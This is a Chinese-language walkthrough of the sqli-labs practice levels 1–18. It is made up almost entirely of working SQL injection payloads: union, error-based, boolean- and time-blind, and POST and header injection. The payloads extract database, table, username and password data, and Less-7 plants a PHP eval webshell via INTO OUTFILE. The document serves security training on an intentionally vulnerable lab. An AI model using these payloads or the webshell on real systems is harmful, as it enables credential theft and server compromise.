less 1—单引号字符型注入
字符型注入,单引号
通过随机输入id得知用户名和密码,网址后面接?id=1
判断 Sql 注入漏洞的类型:1.数字型 2.字符型
用 and 1=1 和 and 1=2 来判断:
1.Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
2.Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 ,页面运行错误,则说明此 Sql 注入为数字型注入。
页面显示正常,说明不是数字型注入漏洞
判断注入点
?id=1' and 1=1--+
将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入
判断列数
使用order by,从1开始逐渐递增,报错时停止。
?id=1' order by 1--+
由此我们可以确认列数为3(4报错)
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+
?id=1' order by 4--+
列数为3(4报错)
判断数据显示位置
?id=0' union select 1,2,3--+
然后便可以插入SQL的一些语句去查询更多信息
查找当前使用的数据库的名称
?id=-1' union select 1,2,database()--+
查询所有的库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查询所有的表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查找security数据库的信息
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看user表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查看user表中的username这一列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+
查看user表中的密码这一列的值
?id=-1' union select 1,2,group_concat(password) from security.users--+
Less-2—整型注入
判断注入点
?id=1 and 1=1--+
将1=1换成1=2,不显示信息,不报错。
判断列数
?id=1 order by 1
?id=1 order by 2
?id=1 order by 3
?id=1 order by 4
列数为3(4报错)
判断数据显示位置
?id=0 union select 1,2,3
然后便可以插入SQL的一些语句去查询更多信息
查找当前使用的数据库的名称
?id=0 union select 1,database(),database()
查询所有的表名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(table_name) from information_schema.tables where table_schema='security')
查看user表中的列名
?id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')
查看user表中的username这一列的值
?id=0 union select 1,(select group_concat(username) from users),(select group_concat(username) from users)
查看user表中的密码这一列的值
?id=0 union select 1,(select group_concat(password) from users),(select group_concat(password) from users)
Less-3
用?id=1 and1=2判断是否是数字型注入,执行后页面正常,说明不是数字型注入
输入?id=1' 后报错,说明不是通过“ ’ ”来加密,那么我们可以多进行几次尝试,用“ )”尝试
查看源代码
id被()和 ‘’ 加密,应该加 ')
判断列数
?id=89 ') order by 1--+
?id=89 ') order by 4--+
查询显示位
?id=89 ') union select 1,2,3--+
获取表名
?id=89 ') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
获取列名
?id=89 ') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+
获取用户名
?id=89 ') union select 1,(select group_concat(username) from users),(select group_concat(username) from users)--+
获取密码
?id=89 ') union select 1,(select group_concat(password) from users),(select group_concat(password) from users)--+
Less-4
查看源代码,代码对$id进行了处理,加入了双引号
在url上加入”)
查询显示位
?id=0") union select 1,2,3--+
获取数据库
?id=0") union select 1,2,database()--+
获取用户名
?id=0") union select 1,(select group_concat(username) from users),(select group_concat(username) from users)--+
获取密码
?id=0") union select 1,(select group_concat(password) from users),(select group_concat(password) from users)--+
Less-5
id是用单引号''
包裹的,双查询注入
判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
通过报错来显示数据库
?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
通过报错来显示表名
?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出列名
?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出用户名
?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
?id=1' union select 1, count(*), concat((select username from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出密码
?id=1' union select 1, count(*), concat((select password from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
Less-6
输入id值
?id=1
双引号字符型注入
获取数据库名
?id=1" union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取表名
?id=1" union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取列名
?id=1" union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取用户名
?id=1"union select 1, count(*), concat((select username from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取密码
?id=1" union select 1, count(*), concat((select password from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
Less-7—导出文件字符型注入
?id=1
查询结果不回显
?id=1'
发现本关不会显示具体的sql语法问题
?id=-1
发现页面回显和上图是一样的。所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同
需要使用蚁剑
在phpstudy目录中添加文件
添加php一句话木马在www文件下。修改后缀为php。
打开中国蚁剑,添加数据
写入一句话木马程序
?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into outfile 'D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\b.php'--+
进入中国蚁剑,添加数据
点击测试连接,双击ip地址即可获取网站的webshell,即可通关
Less-8
?id=1
页面正常,加引号判断
?id=1'
当我们加入注释符–+后,页面显示正常,我们可以同第五关的办法进行通关。
?id=1' and length(database())=8 --+
页面正常显示,说明长度为8
判断数据库名第一位是否大于‘a’:
?id=1'and left(database(),1)>'a'--+
然后b.c.d一直到s页面报错说明第一位为s
然后判断前两位是否大于'sa':
?id=1'and left(database(),2)>'sa'--+
以此类推.......可以使用二分法提高效率
然后猜解表名(ascii)
第一个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+
第一个表的第二个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+
第二个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114--+
继续猜解指定表下的列名(regexp注入)
users表下的列名?id=1'and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+ 猜users表下是否存在有us[a-z]]样式的列名
Less-9
?id=1' --+
?id=1' and '1'=1 --+
?id=1' and '1'=2 --+
?id=1' order by 4--+
使用时间盲注,类似于Less-8
爆破数据库
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
爆破表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
爆破内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-10
?id=1" --+
?id=1" and '1'=1 --+
?id=1" and '1'=2 --+
?id=1" order by 4--+
使用时间盲注,类似于Less-8
?id=1" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
?id=1" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
?id=1" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-11
进行post注入
先判断注入点,Username输入admin',报错,admin'# ,页面正常。说明有' '对参数包装
我们用burp抓一下包
发送到重发器后进行sql注入,流程与get提交是一样的,先进行字段猜解
查看可显字段
开始爆数据
Less-12—双引号POST型字符型变形的注入
与Less-11相似
跟第十一关的区别就是采用了双引号加括号包装参数,admin")#
爆破数据库
?id=-1") union select 1,database() #
爆破数据表
?id=-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
?id=-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
?id=-1") union select 1,group_concat(username,':',password) from users #
Less-13—POST单引号变形双注入
本关用 ') 对Username和 Password进行处理,但是没有显示登录信息,只显示是否登录成功。
没有回显所以用报错注入。抓包后,注入
uname=admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' ),0x7e),1)#&passwd=admin&submit=Submit
用上述语句直接扫描表名时,会有如下提示
因为updatexml()报错注入的输出字符长度是32个字符,这里超了,所以直接在后面加上limit就好了
uname=admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' limit 0,1 ),0x7e),1)#&passwd=admin&submit=Submit
Less-14—POST单引号变形双注入
用双引号对参数进行了包装
直接进行测试,输入username:admin"
报错了,了id进行了 " 的操作。
这里和less13一样,主要是熟悉利用盲注。
简单列一下payload:
uname=admin"and left(database(),1)>'a'#&passwd=1&submit=Submit
可以登录成功。
在利用一下报错注入
uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit
可以看到报错了,显示版本信息。
Less-15
盲注 - 基于布尔值 - 字符串
怎么输入都没有回显,时间延迟
布尔测试payload
登陆成功
uname=admin' and 1=1 --+&passwd=admin&submit=Submit
登录失败
uname=admin' and 1=2 --+&passwd=admin&submit=Submit
时间延迟测试payload
uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
明显延迟,确定使用延迟注入
爆库,爆表,爆列名,爆值
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
Less-16基于bool型/时间延迟的双引号POST型盲注
时间延迟注入
payload和less-15差不多,只需要把上一题正的单引号改为双引号加括号 ") 就可以了
爆库,爆表,爆列名,爆值
uname=admin") and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
Less-17基于错误的更新查询POST注入
php文件对uname做了check_input的处理,只截取15个字符
针对password爆破:
爆库payload
爆表名payload
爆列名payload
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit
最终payload:
uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit
注入完成
Less-18
抓包修改user-agent为一下payload就可以了
测试爆库payload
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
payload可以参看,less-12 双引号报错型注入,只需要把双引号改为单引号就可以作为本题的payload
爆库payload
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit
爆表payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit
爆列payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit
同样使用not in查询没有显示出的其他值。
爆值payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and " &passwd=admin&submit=Submit